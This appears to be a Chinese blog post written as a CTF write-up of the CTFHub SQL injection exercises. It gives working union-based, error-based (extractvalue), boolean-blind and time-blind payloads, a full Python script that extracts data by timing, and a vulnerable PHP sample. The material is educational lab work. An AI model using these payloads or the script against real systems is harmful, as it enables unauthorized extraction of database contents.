vlambda博客
学习文章列表

SQL注入基础(ctfhub sql注入)

本文首发于csdn社区kofi6博客《SQL注入基础(ctfhub sql注入)》

https://blog.csdn.net/kofi6/article/details/119708034



目录:

0x00 前言 

0x01 整数型注入

分析题目注入原理构造payload

0x02 字符型注入

分析题目注入原理payload构造

0x03 报错注入

题目分析注入原理payload构造

0x04 布尔盲注

分析题目注入原理payload构造

0x05 时间盲注

分析题目注入原理payload构造

0xff 总结

数据类型分类:回显类型



0x00 前言

这两天在CTFHub上练题,刚好练到了SQL注入这个之前我一直也不是很懂,这回一做发现其中大有玄妙,所以就一起写个小总结。


CTFhHub:https://www.ctfhub.com/#/index


上面这张图是CTFHub的SQL注入技能树,我后面的内容大致会根据技能树上的内容进行分析。技能树上每个未划去的节点都有一个相对的题目,所以会依托题目的形式来分析。

0x01 整数型注入

分析题目

SQL注入基础(ctfhub sql注入)输入1后查看SQL注入基础(ctfhub sql注入)出题人非常贴心的把查询语句也输出了出来,我们可以看到直接查询了id=1,这里的1是数字1,这个时候就可以使用联合查询注入了。

注入原理

SQL注入基础(ctfhub sql注入)可以发现,在原本的语句后面拼接一个union select就可以达到联合查询的效果,但是需要注意查询的列数需要相等,否则会报错。在这题当中并不需要注意,因为已经是相等的了,在某些题目当中需要使用limit函数来限制输出,这个后面有时间会写。在这里只需要知道union可以实现联合注入查询就可以了。这里需要知道,数据查询后,按行传递给服务器输出,我们将本地的查询语句稍微修改一下,就会发现原本的第一行不见了。那么此时第二行就会被服务器返回前端。只需要构造好代码,就可以查询数据库的所有内容了。

SQL注入基础(ctfhub sql注入)

构造payload

首先是要让id错误,显然id不为负数,所以id=-1,又要让列数保持为2,所以union后接的第一个数为1。所以根据不同目的,payload为


爆出数据库名-1 union select 1,databse()>>>sqli爆出表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()>>>news,flag爆出列名-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'>>>flag爆出数据-1 union select 1,flag from sqli.flag>>>ctfhub{********************************}


至此,得到flag。

0x02 字符型注入

分析题目

提示输入1,那么输入1后可以看到,1被'包裹起来了,显然这是一个字符型查询。SQL注入基础(ctfhub sql注入)再尝试输入-1=1,发现搜索id='-1=1',所以需要对前面的引号进行闭合,对后面的引号进行注释

注入原理

这里需要将后面的引号进行注释,最简单的办法就是使用#注释,当然也可以使用'对后面的引号闭合。但是使用'进行闭合在本地测试会报错。所以不建议使用这种方式,因为不保证稳定性。

payload构造

与上面一个题型类似,我们先要让查询的数字错误好使第一组数据为空,接着就是一步一步的命令注入。


查询数据库-1' union select 1,database()#>>>sqli爆表名-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#>>>news,flag爆列名-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag';#>>>flag爆数据-1' union select 1,flag from sqli.flag;#>>>ctfhub{************************}


0x03 报错注入

题目分析

SQL注入基础(ctfhub sql注入)输入1,显然,本题仅返回查询是否成功。那么前面的注入技巧就失效了。因为无法直接通过联合查询查到内容。这里需要新的注入方式。

注入原理

先讲最简单的办法

这里可以使用一个叫extractvalue()的函数对命令进行注入。同样,这个函数的具体分析会在后面单独讲,这里只讲用法。


select extractvalue(null,concat(0x7e,(commond),0x7e))


这里的commond就是你要注入的命令了。但是需要注意的是,这个函数最多只能返回32个字符,如果多了需要使用substring函数截取,使用方法如下


select extractvalue(null,concat(0x7e,(substring(commond),1,32),0x7e))


1和32分别为截取两段坐标,坐标从1开始。

另外还有一个更加通用的办法

那就是把这题当做布尔注入来做。具体操作方法看0x04布尔注入。因为布尔注入返回真或假,而报错注入同样返回查询成功(ture)和查询失败(false)。所以完全可以使用布尔注入来做。

可以这么认为,布尔注入是更特殊的报错注入,因为不会返回错误原因。

payload构造

这里就不再分析了,直接上代码,思路和上面几道题一模一样。


1 union select extractvalue(null,concat(0x7e,(select database()),0x7e))
>>>XPATH syntax error: '~sqli~'
1 union select extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
>>>XPATH syntax error: '~news,flag~'
1 union select extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
>>>XPATH syntax error: '~flag~'
1 union select extractvalue(null,concat(0x7e,(select flag from sqli.flag),0x7e))
>>>XPATH syntax error: '~ctfhub{************'


SQL注入基础(ctfhub sql注入)显然可以看到,这一次不太顺利,flag没有截全。这里使用substring函数


1 union select extractvalue(null,concat(0x7e,substring((select flag from sqli.flag),32),0x7e))
>>>XPATH syntax error: '~}~'


0x04 布尔盲注

分析题目

SQL注入基础(ctfhub sql注入)可以看到,返回了一个查询成功的结果,这里就没办法直接看到返回的结果。仍然是一个数字型的查询。

注入原理

这里我们首先要分析一下后端的代码是怎么写的,才能更好的理解注入。如果不感兴趣的话可以直接跳过这这一段。我们使用sql-lab的代码进行修改


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo $result; echo '<br>'; var_dump($row); echo "<br>"; echo "</font>"; } else {
echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "<br>"; echo 'this is result:'; echo $result; echo '<br>'; echo 'this is row:'; #echo $row; var_dump($row); echo "<br>"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>';
}} else { echo "Please input the ID as parameter with numeric value";}
?>


这里只摘取了核心的代码。这一段代码修改过后实现的功能变为:如果查询成功那么输出“You are in...........”这句话,并且输出变量result和row,可以更直观的看到传入的参数是怎么计算的,否则不输出you are in,但是同样输出result和row。先尝试输入id=1,获得结果是SQL注入基础(ctfhub sql注入)可以看到,在正确查询的情况下,在if判断时传入的是一个数组,此时if判断为ture 但是如果无法查询到结果的话,就会得到falseSQL注入基础(ctfhub sql注入)

有一个重要的特性,就是在sql查询语句中使用and拼接一个逻辑值为flase的语句,result也会变为flase

在本地查询发现,这其实是SQL查询的时候,如果在使用and后面加上逻辑值为false的语句,就会返回一个空值,经过result对应的函数处理之后返回值为false。SQL注入基础(ctfhub sql注入)

那么我们就可以使用这个特性,构造payload来获取信息

payload构造

说回ctfhub的题,这题是数字型注入,所以不用考虑引号的问题

这里需要注意的是:后面的select是子查询,在SQL语句中,子查询一定要用括号扩起来,否则会报错。以数据库名为例,一定不能写ascii(substr(select database(),1,1))


测试可以使用python的requests库,或者burpsuite中intruder模块的clusterboom方式爆破。因为后面的时间注入会用到python,而且方法也可以用在这个上面,所以这里使用burpsuite演示。

ascii()函数,将传入的字符转换为ascii码


爆数据库名1 and ascii(substr((select database()),%d,1))=%d


第一个变量设置有效载荷为数字1-15,可以根据实际情况进行调整,注入前可以先使用length函数测试一下有多长。第二个变量为数字33-126,开始爆破。

爆破后设置过滤器为query_sucess,查询对应ascii编码可以得知数据库名为sqliSQL注入基础(ctfhub sql注入)


爆破表名1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d


SQL注入基础(ctfhub sql注入)

非常显而易见,表名是news,flag,但是这是我们根据前面的经验判断的,如果不知道的话,有9位还是挺难算的。这里给出我的解决方法。

选择上方的保存,选择payload1和payload2,保存为1.xls,然后复制payload2,再随便找个空地方粘贴,粘贴的时候选择转置粘贴。接着选择记事本方式打开,就得到了横着排列的ascii值了,直接复制下来随便到哪个网站进行解码就行了。这个方法在后面的爆列名和爆flag都适用


爆列名1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d


同样表名是flag


爆数据1 and ascii(substr((select flag from sqli.flag),%d,1))=%d


爆破成功,解码这一步我就不演示了,我的上面说的是一种方法,另外使用python写个脚本解码也很快的。如果解码这步看不明白的可以私信我录屏给你演示。

0x05 时间盲注

分析题目

没什么好分析的,完全没回显

注入原理

这题没有任何的回显,所以选择采用if与sleep()延时函数来判断。if(exp1,exp2,exp3),其中exp1为逻辑值表达式,当exp1为ture时执行exp2,否则执行exp3。这里使用if((select xxx)=xxx,sleep(1),1)这样的语句来判断。整体上也没有太多的新知识点。

payload构造

这里使用python的requests库来进行测试。有几点要提醒一下

1.代码有点长,因为我没有进行封装。其实几个函数大同小异。整体思路就是get_length然后再爆name。

2.如果你不喜欢cv的话,那么你在写的时候一定要注意了,要加入一个time.sleep(0.5),防止请求过于频繁导致被ban ip。

3.如果你喜欢cv的话,请注意,四个步骤(数据库名、表名、列名和数据)我是逐步写的。测试过程中每次只使用对应的函数。所以里面的参数我都是有针对性的。如果想要让脚本更加普适的话,可以加入输入的步骤来拼接payload,比如爆破列名,select xxxxx from 'flag'中的'flag'就可以使用输入拼接。

4.优化建议:因为可能会出现被ban的情况,而sleep不仅降低效率,而且治标不治本,所以可以尝试修改使用try来捕捉错误,并在被ban后sleep(1),再重放被ban的循环。这里我懒得调试了,所以想优化代码的话可以尝试这样修改。

5.优化建议:为什么不用group_concat而使用limit呢?因为group_concat在本地测试的时候似乎会因为生成的逗号干扰substr()函数的参数输入,而导致查询错误。我没有深究,也有可能是我输入错误或者子查询未加括号导致的。如果你希望优化代码,可以从这里下手试试看。

6.优化建议:这里我使用了暴力破解的方式,但是使用二分法等算法逻辑可以更快的爆出数据。可以考虑使用大于或小于号对数据进行逼近。

import requestsimport timeurl='xxxxxxxxxxxxxxxxxxxx'flag=Truedef database_len(): length=0 databse='' print("strat getting length of database_name...") for i in range(1,50): payload="1 and if(length(database())=%d,sleep(1),1)"%i time1=time.time() requests.get(url+payload) if (time.time()-time1)>=1: length=i print("the length of database_name:",str(length)) return lengthdef database_name(): name='' for j in range(1,name_len+1): for i in range(33,126): payload='''?id=1 and if(substr(database(),%d,1)='%s',sleep(1),1)'''%(j,chr(i)) time1 = time.time() requests.get(url + payload + '%23') time2 = time.time() if (time2-time1)>=1: name+=chr(i) print(name) break print('database_names:',name)def tables_len(): length=0 tables='' print("strat getting length of tables_name...") for i in range(1,50): payload='?id=1 and if((length((select group_concat(table_name) from information_schema.tables where table_schema = database())))=%d,sleep(1),1)'%i payload=url+payload time1=time.time() requests.get(payload) if (time.time()-time1)>=1: length=i print("the length of table_names:",str(length)) return lengthdef tables_name(): print("start getting table_names") name='' for k in range(0,2): for j in range(1,name_len+1): for i in range(33,127): flag=True payload='''?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(2),0)'''%(k,j,i) time1 = time.time() requests.get(url + payload + '%23') #time.sleep(0.5) time2 = time.time() if (time2-time1)>=2: name+=chr(i) print(name) break elif(i==126): flag=False name+=',' #这里跳出最内层循环 break; if not flag: #这里跳出第二层循环 break if(len(name)==name_len+1): break;
print('table_names:',name)def column_len(): length=0 tables='' print("strat getting length of column_name...") for i in range(1,50): payload='''?id=1 and if((length((select group_concat(column_name) from information_schema.columns where table_name = 'flag')))=%d,sleep(1),1)'''%i payload=url+payload time1=time.time() requests.get(payload) if (time.time()-time1)>=1: length=i print("the length of column_names:",str(length)) return lengthdef column_name(): print("start getting column_names") name='' for k in range(0,50): for j in range(1,name_len+1): for i in range(33,127): flag=True payload='''?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1))=%d,sleep(2),0)'''%(k,j,i) time1 = time.time() requests.get(url + payload + '%23') #time.sleep(0.5) time2 = time.time() if (time2-time1)>=2: name+=chr(i) print(name) break elif(i==126): flag=False name+=',' #这里跳出最内层循环 break; if not flag: #这里跳出第二层循环 break if(len(name)==name_len+1): break;
print('column_name:',name)def cat_flag(): name='' print("start getting flag_len") length=0 for i in range(1,50): payload='''?id=1 and if(length((select flag from sqli.flag))=%d,sleep(1),1)'''%i time1=time.time() requests.get(url+payload) if time.time()-time1>=1: length=i break print("the flag length is",str(length)) for j in range(1,length+1): for i in range(33,127): payload='''?id=1 and if(ascii(substr((select flag from sqli.flag),%d,1))=%d,sleep(1),1)'''%(j,i) time1=time.time() requests.get(url+payload) if time.time()-time1>=1: name+=chr(i) print(name) break print('the flag is',name)name_len=database_len()database_name()name_len=tables_len()tables_name()name_len=column_len()column_name()cat_flag()

0xff 总结





数据类型分类:

字符型 数字型
需要闭合,且需要注释后面的单引号 直接and或者union执行命令

回显类型

类型 方法
完全回显 堆叠查询时使用limit限制输出
报错回显 使用extractvalue()函数来使命令执行
布尔回显 使用and ascii(select xxx)='xxx'来逐个字符爆破
无回显(时间注入) 使用if(ascii((select xxx))='xxx',sleep(1),1)来判断。建议使用Python脚本

显然,回显类型是有递进关系的。越往下回显的信息越少。所以下面能使用的方法上面一定可以使用。只是麻烦程度不同罢了。

SQL注入的基础就写这么多。笔者也是刚学完当做学习笔记,记录一下。我感觉后面更多的是研究绕过技术。绕过select命令不允许执行、绕过转义等等。后面会写一下SQL注入中常用的函数和其他一些SQL基础的东西,因为在我的学习过程中也因为这些东西阻碍了挺久的,所以感觉有必要写一下。